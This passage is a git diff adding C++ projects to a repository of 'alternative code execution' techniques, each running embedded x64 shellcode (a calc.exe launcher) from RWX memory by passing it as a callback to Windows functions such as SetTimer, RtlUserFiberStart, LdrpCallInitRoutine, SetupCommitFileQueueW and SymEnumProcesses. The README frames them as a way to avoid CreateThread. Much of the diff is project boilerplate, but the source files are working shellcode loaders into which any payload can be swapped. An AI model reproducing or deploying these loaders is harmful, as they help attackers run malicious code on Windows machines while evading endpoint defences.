LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + union + { + LIST_ENTRY HashLinks; + struct + { + PVOID SectionPointer; + ULONG CheckSum; + }; + }; + union + { + ULONG TimeDateStamp; + PVOID LoadedImports; + }; + PACTIVATION_CONTEXT EntryPointActivationContext; + PVOID PatchInformation; +} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY; + +typedef VOID(NTAPI LDR_ENUM_CALLBACK)(_In_ PLDR_DATA_TABLE_ENTRY ModuleInformation, _In_ PVOID Parameter, _Out_ BOOLEAN* Stop); +typedef LDR_ENUM_CALLBACK* PLDR_ENUM_CALLBACK; + +// https://doxygen.reactos.org/d7/d55/ldrapi_8c.html#ac623c02eff0b751a63f8573eaca95153 + +typedef NTSTATUS(__stdcall* _LdrEnumerateLoadedModules)( + BOOL ReservedFlag, + LDR_ENUM_CALLBACK EnumProc, + PVOID context + ); + + +int main() { + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + HMODULE hNtdll = ::GetModuleHandleW(L"ntdll"); + + if (hNtdll) { + + _LdrEnumerateLoadedModules LdrEnumerateLoadedModules = (_LdrEnumerateLoadedModules)::GetProcAddress(hNtdll, "LdrEnumerateLoadedModules"); + LdrEnumerateLoadedModules(NULL, (PLDR_ENUM_CALLBACK)address, NULL); + + } + +} \ No newline at end of file diff --git a/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj new file mode 100644 index 0000000..c5f18b7 --- /dev/null +++ b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {c88f3c63-7ae2-49f3-a96f-ac11e44dad3f} + LdrEnumerateLoadedModules + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj.filters b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj.filters new file mode 100644 index 0000000..d7e5dd0 --- /dev/null +++ b/LdrEnumerateLoadedModules/LdrEnumerateLoadedModules.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj new file mode 100644 index 0000000..dbb0e37 --- /dev/null +++ b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {6c619aa0-a97b-441d-8a7c-ee86bfeb7d62} + LdrpCallInitRoutine + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj.filters b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj.filters new file mode 100644 index 0000000..3e7e62e --- /dev/null +++ b/LdrpCallInitRoutine/LdrpCallInitRoutine.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/LdrpCallInitRoutine/Source.cpp b/LdrpCallInitRoutine/Source.cpp new file mode 100644 index 0000000..e80f0e4 --- /dev/null +++ b/LdrpCallInitRoutine/Source.cpp @@ -0,0 +1,48 @@ +#include +#include + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + +typedef size_t(__fastcall* lpCallInitRoutine)(size_t, size_t, size_t); +typedef char(__fastcall* pLdrpCallInitRoutine)(lpCallInitRoutine, size_t, unsigned int, size_t); + +#define NTDLL_LDRPCALLINITRT_OFFSET 0x000199bc +// ? ntdll!LdrpCallInitRoutine - ntdll + +int main() { + HANDLE hProcess = ::GetCurrentProcess(); + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!address) { return -1; } + memcpy(address, &op[0], sizeof(op)); + + uintptr_t hNtdll = (uintptr_t)GetModuleHandleA("ntdll"); + if (!hNtdll) { return -1; } + + // todo: find a better way to get LdrpCallInitRoutine. I'm lazy right now. + uintptr_t func = hNtdll + NTDLL_LDRPCALLINITRT_OFFSET; + pLdrpCallInitRoutine LdrpCallInitRoutine = (pLdrpCallInitRoutine)func; + LdrpCallInitRoutine((lpCallInitRoutine)address, 0, 0, 0); + +} \ No newline at end of file diff --git a/Readme.md b/Readme.md index 31b47d5..35ca910 100644 --- a/Readme.md +++ b/Readme.md @@ -1,5 +1,5 @@ # Alternative Code Execution -According to Microsoft, a callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation. This repository contains a list of callback functions that can be used to execute position independent shellcode so that CreateThread would be a thing of the past :P. +This is gaining more popularity than expected, so I just wanted to give a shoutout to [alfarom256](https://github.com/alfarom256) for informing me about callback functions and showing me the CreateThreadPoolWait technique. I also wanted to give a shoutout to [ch3rn0byl](https://github.com/ch3rn0byl) for encouraging me to get this project going. -Shoutout to [alfarom256](https://github.com/alfarom256) and [ch3rn0byl](https://github.com/ch3rn0byl) yall are fam. \ No newline at end of file +According to Microsoft, a callback function is code within a managed application that helps an unmanaged DLL function complete a task. Calls to a callback function pass indirectly from a managed application, through a DLL function, and back to the managed implementation. This repository contains a list of callback functions that can be used to execute position independent shellcode so that CreateThread would be a thing of the past :P. \ No newline at end of file diff --git a/RtlUserFiberStart/RtlUserFiberStart.vcxproj b/RtlUserFiberStart/RtlUserFiberStart.vcxproj new file mode 100644 index 0000000..96da45f --- /dev/null +++ b/RtlUserFiberStart/RtlUserFiberStart.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {667d6630-708c-43d1-bfeb-733ff67b55d8} + RtlUserFiberStart + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/RtlUserFiberStart/RtlUserFiberStart.vcxproj.filters b/RtlUserFiberStart/RtlUserFiberStart.vcxproj.filters new file mode 100644 index 0000000..3e7e62e --- /dev/null +++ b/RtlUserFiberStart/RtlUserFiberStart.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/RtlUserFiberStart/Source.cpp b/RtlUserFiberStart/Source.cpp new file mode 100644 index 0000000..2ef1d6d --- /dev/null +++ b/RtlUserFiberStart/Source.cpp @@ -0,0 +1,56 @@ +// alfarom256 + +#include +#include + +#define TEB_FIBERDATA_PTR_OFFSET 0x17ee +#define LPFIBER_RIP_OFFSET 0x0a8 + +// calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + +typedef int(WINAPI* tRtlUserFiberStart)(); + +int main() { + HMODULE hMod = GetModuleHandleA("ntdll"); + if (!hMod) { return -1; } + tRtlUserFiberStart lpRtlUserFiberStart = (tRtlUserFiberStart)GetProcAddress(hMod, "RtlUserFiberStart"); + if (!lpRtlUserFiberStart) { return -1; } + + _TEB* teb = NtCurrentTeb(); + NT_TIB* tib = (NT_TIB*)teb; + void* pTebFlags = (void*)((uintptr_t)teb + TEB_FIBERDATA_PTR_OFFSET); + *(char*)pTebFlags = *(char*)pTebFlags | 0b100; // set the HasFiberData bit + + LPVOID addr = VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!addr) { + return GetLastError(); + } + RtlMoveMemory(addr, op, sizeof(op)); + + uintptr_t lpDummyFiberData = (uintptr_t)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x100); + *(LPVOID*)(lpDummyFiberData + 0x0a8) = addr; // store the shelcode address at the offset of the FiberContext RIP in the Fiber Data + //call qword ptr [ntdll!_guard_dispatch_icall_fptr (00007ffa`218b4000)] ds:00007ffa`218b4000={ntdll!guard_dispatch_icall_nop (00007ffa`217cfa80)} + + __writegsqword(0x20, lpDummyFiberData); // set the FiberData pointer + lpRtlUserFiberStart(); +} diff --git a/SetTimer/SetTimer.cpp b/SetTimer/SetTimer.cpp new file mode 100644 index 0000000..ec7cdc4 --- /dev/null +++ b/SetTimer/SetTimer.cpp @@ -0,0 +1,46 @@ +#include +#include + + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + UINT_PTR dummy = 0; + MSG msg; + + ::SetTimer(NULL, dummy, NULL, (TIMERPROC)address); + + ::GetMessageW(&msg, NULL, 0, 0); + ::DispatchMessageW(&msg); + + return 0; + +} \ No newline at end of file diff --git a/SetTimer/SetTimer.vcxproj b/SetTimer/SetTimer.vcxproj new file mode 100644 index 0000000..e3df7f4 --- /dev/null +++ b/SetTimer/SetTimer.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {b014bcb9-7850-4ac7-bd7f-6b07db77de35} + SetTimer + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/SetTimer/SetTimer.vcxproj.filters b/SetTimer/SetTimer.vcxproj.filters new file mode 100644 index 0000000..2b550aa --- /dev/null +++ b/SetTimer/SetTimer.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/SetupCommitFileQueueW/SetupCommitFileQueueW.cpp b/SetupCommitFileQueueW/SetupCommitFileQueueW.cpp new file mode 100644 index 0000000..0445cbb --- /dev/null +++ b/SetupCommitFileQueueW/SetupCommitFileQueueW.cpp @@ -0,0 +1,46 @@ +#include +#include + +#include +#pragma comment(lib, "Setupapi.lib") + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + + +int main() { + + + LPVOID address = ::VirtualAlloc(NULL, sizeof(op), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + memcpy(address, &op[0], sizeof(op)); + + + HSPFILEQ hQueue = ::SetupOpenFileQueue(); + ::SetupQueueCopyW(hQueue, L"c:\\", L"\\windows\\sytem32\\", L"kernel32.dll", NULL, NULL, L"c:\\windows\\temp\\", L"kernel32.dll", SP_COPY_NOSKIP); + ::SetupCommitFileQueueW(::GetTopWindow(NULL), hQueue, (PSP_FILE_CALLBACK_W)address, NULL); + + + return 0; + +} \ No newline at end of file diff --git a/SetupCommitFileQueueW/SetupCommitFileQueueW.vcxproj b/SetupCommitFileQueueW/SetupCommitFileQueueW.vcxproj new file mode 100644 index 0000000..9a1f328 --- /dev/null +++ b/SetupCommitFileQueueW/SetupCommitFileQueueW.vcxproj @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {86e9bec1-c77a-449c-9d89-4e1aba9dfb0f} + SetupCommitFileQueueW + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + + + + + + + + + \ No newline at end of file diff --git a/SetupCommitFileQueueW/SetupCommitFileQueueW.vcxproj.filters b/SetupCommitFileQueueW/SetupCommitFileQueueW.vcxproj.filters new file mode 100644 index 0000000..3b9837a --- /dev/null +++ b/SetupCommitFileQueueW/SetupCommitFileQueueW.vcxproj.filters @@ -0,0 +1,22 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + \ No newline at end of file diff --git a/SymEnumProcesses/SymEnumProcesses.cpp b/SymEnumProcesses/SymEnumProcesses.cpp new file mode 100644 index 0000000..8c1989b --- /dev/null +++ b/SymEnumProcesses/SymEnumProcesses.cpp @@ -0,0 +1,44 @@ +#include +#include +#include + + +// Requires Dbghelp.lib + +// alfarom256 calc shellcode +unsigned char op[] = +"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" +"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" +"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" +"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" +"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" +"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" +"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" +"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" +"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" +"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" +"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" +"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" +"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" +"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" +"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" +"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" +"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" +"\x63\x2e\x65\x78\x65\x00"; + + + +int main() { + + + LPVOID addr = ::VirtualAlloc(NULL, sizeof(op), MEM_COMMIT, PAGE_EXECUTE_READWRITE); + ::RtlMoveMemory(addr, op, sizeof(op)); + + ::SymInitialize(::GetCurrentProcess(), NULL, FALSE); + + if (addr) + ::SymEnumProcesses((PSYM_ENUMPROCESSES_CALLBACK) addr, NULL); + + +} \ No newline at end of file diff --git a/SymEnumProcesses/SymEnumProcesses.vcxproj b/SymEnumProcesses/SymEnumProcesses.vcxproj new file mode 100644 index 0000000..6c93397 --- /dev/null +++ b/SymEnumProcesses/SymEnumProcesses.vcxproj @@ -0,0 +1,151 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 16.0 + Win32Proj + {9ac492bd-854c-418f-bfdd-7ffb1c6a4059} + SymEnumProcesses + 10.0 + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;Dbghelp.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;Dbghelp.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + kernel32.lib;user32.lib;gdi32.lib;winspool.lib;Dbghelp.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + + + Console + true + true + true + 